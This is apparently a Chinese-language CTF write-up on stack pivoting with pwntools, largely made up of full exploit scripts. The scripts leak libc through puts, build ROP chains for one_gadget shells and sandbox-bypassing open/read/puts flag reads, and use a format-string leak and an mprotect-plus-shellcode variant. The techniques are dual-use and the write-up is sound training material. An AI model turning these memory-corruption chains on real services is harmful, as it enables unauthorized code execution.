leave == mov esp,ebp; pop ebp;
ret == pop eip #弹出栈顶数据给eip寄存器
首先是栈迁移万金油模板的构造
bss6 = 0x601000+0x600 pl = b'a'*0x20+p64(bss6)+p64(read) #rbp=bss6 -> rax=bss6+(-0x20) p.send(pl)
但read后会往后执行会走向结束,rsp并没有被我们所控制,所以我们还不能控制程序流
回头看一下leave处 mov esp,ebp; pop ebp;
,应该是leave前0x60
1600未能放入rbp导致的
再构造一次read,并调整rsp
pl = b'a'*0x20+p64(bss6+0x20)+p64(read) #2 p.send(pl)
这里bss6所加的就是buf的偏移
rsp调试正常后,那么我们下一次则可以进行rop链构造
#puts(puts_got) pl = p64(bss6+0x20+0x10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3
bss6+0x20
基础上再加0x10(固定模板)
pl = b'a'*0x20+p64(bss6+0x40)+p64(read) #4
蚌埠住了,栈平衡真的好玄学,sys调了好久都不行,换og一把出了
r12 = 0x000000000002f709+libc_base og = libc_base + 0xe3afe pl = p64(0) + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5 p.send(pl) ''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''
相较前一题加了个沙盒
exp:
bss = 0x601060 -0x60 +0x400 li(hex(bss)) main = 0x400790 read = 0x4007B1 rdi = 0x400833 ret = 0x040053e puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] p.recv(0x13) pl = b'a'*0x100+p64(bss)+p64(read) #1 p.send(pl) pl = b'a'*0x100+p64(bss+0x100)+p64(read) #2 p.send(pl) pl = p64(bss+0x110)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3 p.send(pl) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] li(hex(libc_base)) open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] puts_addr = libc_base + libc.sym['puts'] pl = b'a'*0x100+p64(bss+0x120)+p64(read) #4 p.send(pl) rsi_r15 = 0x400831 pl = p64(bss+0x130)+p64(rdi)+p64(0)+p64(rsi_r15)+p64(0x601200)+p64(0x40)+p64(read_addr)+p64(main) #5 p.send(pl) pause() p.send('flag') p.recv() pl = b'a'*0x100+p64(bss+0x300)+p64(read) #6 p.send(pl) pl = b'a'*0x100+p64(bss+0x400)+p64(read) #7 p.send(pl) syscall = libc_base + libc.sym['syscall'] pl = p64(0)+p64(rdi)+p64(2)+p64(rsi_r15)+p64(0x601200)+p64(0)+p64(syscall) pl += p64(rdi)+p64(3)+p64(rsi_r15)+p64(0x601200)+p64(0x100)+p64(read_addr) pl += p64(rdi)+p64(0x601200)+p64(puts_addr)+p64(main) #8 #dbg() p.send(pl)
pl 1、2正常起手,pl 3来获取libc地址
pl = b'a'*0x100+p64(bss)+p64(read) #1 p.send(pl) pl = b'a'*0x100+p64(bss+0x100)+p64(read) #2 p.send(pl)
read()
文件描述符:0标准输入,1标准输出,2标准报错,3、4、5 .. 第一、二、三 ...个文件
ORP和ORW:
puts更方便,只需要一个参数,而write需要多次传参
但puts遇到'x00'停止,有些ex的flag可能会故意带上'\x00'
将flag读入bss段
pl = p64(bss+0x130)+p64(rdi)+p64(0)+p64(rsi_r15)+p64(0x601200)+p64(0x40)+p64(read_addr)+p64(main) dbg() p.send(pl) pause() p.send('flag')
pl 6、7再次构造,并调整rsp
pl = b'a'*0x100+p64(bss+0x300)+p64(read) p.send(pl) pl = b'a'*0x100+p64(bss+0x400)+p64(read) p.send(pl)
pl 8 ORP送入
syscall = libc_base + libc.sym['syscall'] pl = p64(0)+p64(rdi)+p64(2)+p64(rsi_r15)+p64(0x601200)+p64(0)+p64(syscall) pl += p64(rdi)+p64(3)+p64(rsi_r15)+p64(0x601200)+p64(0x100)+p64(read_addr) pl += p64(rdi)+p64(0x601200)+p64(puts_addr)+p64(main) #dbg() p.send(pl)
首先伪随机数很好获取,绕过后到back(),获取了stack地址
sla('num:\n','286129175') ru('gift:') stack = int(p.recv(14),16) li(hex(stack))
首先第一点就是back()里的read就是向stack地址输入的
pl = p64(rdi) + p64(stack+0x18) + p64(system) + b'/bin/sh\x00' + p64(stack-0x8) + p64(leave_ret) dbg() p.sendline(pl)
直接栈迁移到pl的前一栈帧处,然后执行
def dbg(): gdb.attach(proc.pidof(p)[0]) pause() rdi = 0x00000000004013d3 leave_ret = 0x00000000004012d6 sla('num:\n','286129175') ru('gift:') stack = int(p.recv(14),16) li(hex(stack)) main = 0x4012D8 back = 0x40129B read = 0x4012BA system = 0x4010D4 pl = p64(rdi) + p64(stack+0x18) + p64(system) + b'/bin/sh\x00' + p64(stack-0x8) + p64(leave_ret) dbg() p.sendline(pl)
两次leave_ret,构造read(0,stack-0x20,0x30),重复的第二次是为了调整rsp,控制程序流
pl = b'a'*0x20+p64(stack)+p64(read) #1 p.send(pl) pl = b'a'*0x20+p64(stack+0x20)+p64(read) #2 p.send(pl)
接下来构造一次正常的rop链泄露libc
pl = p64(stack+0x20+0x10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3 p.send(pl) p.recv() #libc_base = uu64(r(14))-libc.sym['puts'] libc_base = uu64(r(14))-0xa000000000000 -libc.sym['puts'] li(hex(libc_base)) system= libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh'))
这里选择再跳转到main函数,接收到新的stack地址
sla('num:\n','286129175') p.recvuntil('Success!!!\n') ru('gift:') stack0 = int(p.recv(14),16)
重复刚才的1、2的步骤
pl = b'a'*0x20+p64(stack0)+p64(read) #4 p.send(pl) pl = b'a'*0x20+p64(stack0+0x20)+p64(read) #5 p.send(pl)
将og送入,从而getshell
r12 = 0x000000000002f709+libc_base og = libc_base + 0xe3afe pl = p64(0) + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5 #dbg() p.send(pl)
og的模板exp:
#encoding = utf-8 from pwn import * from pwnlib.rop import * from pwnlib.context import * from pwnlib.fmtstr import * from pwnlib.util.packing import * from pwnlib.gdb import * from ctypes import * import os import sys import time context.os = 'linux' context.arch = 'amd64' #context.arch = 'i386' context.log_level = "debug" name = './pwn' debug = 0 if debug: p = remote('node.yuzhian.com.cn',30686) else: p = process(name) elf = ELF(name) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") context.terminal = ['gnome-terminal','-x','sh','-c'] s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') def dbg(): gdb.attach(proc.pidof(p)[0]) pause() bss6 = elf.bss() + 0x600 li('bss = '+hex(bss6)) ret = 0x000000000040101a rdi = 0x00000000004013d3 leave_ret = 0x00000000004012d6 ret = 0x000000000040101a sla('num:\n','286129175') ru('gift:') stack = int(p.recv(14),16) li(hex(stack)) main = 0x4012D8 back = 0x40129B read = 0x4012BA sys = 0x4010D4 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] pl = b'a'*0x20+p64(stack)+p64(read) #1 p.send(pl) pl = b'a'*0x20+p64(stack+0x20)+p64(read) #2 p.send(pl) ''' pl = p64(bss6+0x20+0x10)+p64(ret)+p64(rdi)+b"/bin/sh"+p64(sys) ''' pl = p64(stack+0x20+0x10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3 p.send(pl) p.recv() #libc_base = uu64(r(14))-libc.sym['puts'] libc_base = uu64(r(14))-0xa000000000000 -libc.sym['puts'] li(hex(libc_base)) system= libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) sla('num:\n','286129175') p.recvuntil('Success!!!\n') ru('gift:') stack0 = int(p.recv(14),16) pl = b'a'*0x20+p64(stack0)+p64(read) #4 p.send(pl) pl = b'a'*0x20+p64(stack0+0x20)+p64(read) #5 p.send(pl) r12 = 0x000000000002f709+libc_base og = libc_base + 0xe3afe pl = p64(0) + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5 #dbg() p.send(pl) itr()
直接套模板相对繁琐,实际做题还是要学会根据程序的漏洞巧妙的进行栈迁移
格式字符串漏洞获取栈地址,下一处读入利用栈地址获取libc基址
payload = p64(stack_addr+0xb0+0x28) #rbp payload += p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401378) payload = payload.ljust(0xb0,b'\0') payload+= p64(stack_addr)+p64(0x4012e0) p.send(payload)
两次leave_ret将rsp矫正
orw:
布置为stack_addr+0x28-8,执行orw
payload = p64(stack_addr+0xb0+0x28) payload += p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401378) payload = payload.ljust(0xb0,b'\0') payload+= p64(stack_addr)+p64(0x4012e0) p.send(payload)
orw = p64(pop_rdi)+p64(stack_addr+0xd0)+p64(pop_rsi)+p64(0)+p64(open_addr) #open(stack_addr+0xd0,0) orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(elf.bss()+0x800)+p64(pop_rdx)+p64(0x50)+p64(elf.plt["read"]) #read(3,elf.bss()+0x800,0x50) orw += p64(pop_rdi)+p64(elf.bss()+0x800)+p64(elf.plt["puts"]) #puts(elf.bss()+0x800) orw = orw.ljust(0xa8,b'\0')+b'./flag\x00\x00' orw+= p64(stack_addr+0x28-8)+p64(0x4012e0) p.send(orw)
exp:
#encoding = utf-8 from pwn import * from pwnlib.rop import * from pwnlib.context import * from pwnlib.fmtstr import * from pwnlib.util.packing import * from pwnlib.gdb import * from ctypes import * import os import sys import time import base64 #from ae64 import AE64 #from LibcSearcher import * context.os = 'linux' context.arch = 'amd64' #context.arch = 'i386' context.log_level = "debug" name = './pwn' debug = 0 if debug: p = remote('tcp.cloud.dasctf.com',23820) else: p = process(name) libcso = './libc.so.6' #libcso = './libc-2.31.so' libc = ELF(libcso) #libc = elf.libc elf = ELF(name) s = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') context.terminal = ['gnome-terminal','-x','sh','-c'] def dbg(): gdb.attach(proc.pidof(p)[0]) pause() bss = elf.bss()-0x80 bss4=bss+0x400 li(hex(bss4)) pop_rdi=0x401413 ret=0x40101a leave=0x4012e0 read=0x401378 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] ru('name:\n') sl('%28$p') ru('Hello, ') stack_addr = int(p.recv(14),16)-0x1a0 li('stack_addr = '+hex(stack_addr)) ru(b'Now, please say something to DASCTF:\n') payload = p64(stack_addr+0xb0+0x28) payload += p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401378) payload = payload.ljust(0xb0,b'\0') payload += p64(stack_addr)+p64(0x4012e0) p.send(payload) libc_base=l64()-libc.sym['puts'] li('libc_base = '+hex(libc_base)) pop_rsi = libc_base+0x000000000002601f pop_rdx = libc_base+0x0000000000142c92 open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] puts_addr = libc_base + libc.sym['puts'] orw = p64(pop_rdi)+p64(stack_addr+0xd0)+p64(pop_rsi)+p64(0)+p64(open_addr) #open('./flag\x00\x00',0) orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(elf.bss()+0x800)+p64(pop_rdx)+p64(0x50)+p64(elf.plt["read"]) #read(3,elf.bss()+0x800,0x50) orw += p64(pop_rdi)+p64(elf.bss()+0x800)+p64(elf.plt["puts"]) #puts(elf.bss()+0x800) orw = orw.ljust(0xa8,b'\0')+b'./flag\x00\x00' orw+= p64(stack_addr+0x28-8)+p64(0x4012e0) p.send(orw) itr()
另一种解法mproetct+shellcode:
mp = p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(7)+p64(mproetct) #mproetct(bss,0x1000,7) mp += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x600)+p64(pop_rdx)+p64(0x300)+p64(elf.plt["read"]) #read(0,bss+0x600,0x300) mp += p64(bss+0x600) #shellcode mp = mp.ljust(0xb0,b'\0') mp += p64(stack_addr+0x28-8)+p64(0x4012e0) p.send(mp) ru(b'Posted Successfully~\n') sc = asm(shellcraft.cat(b"./flag")) p.send(sc)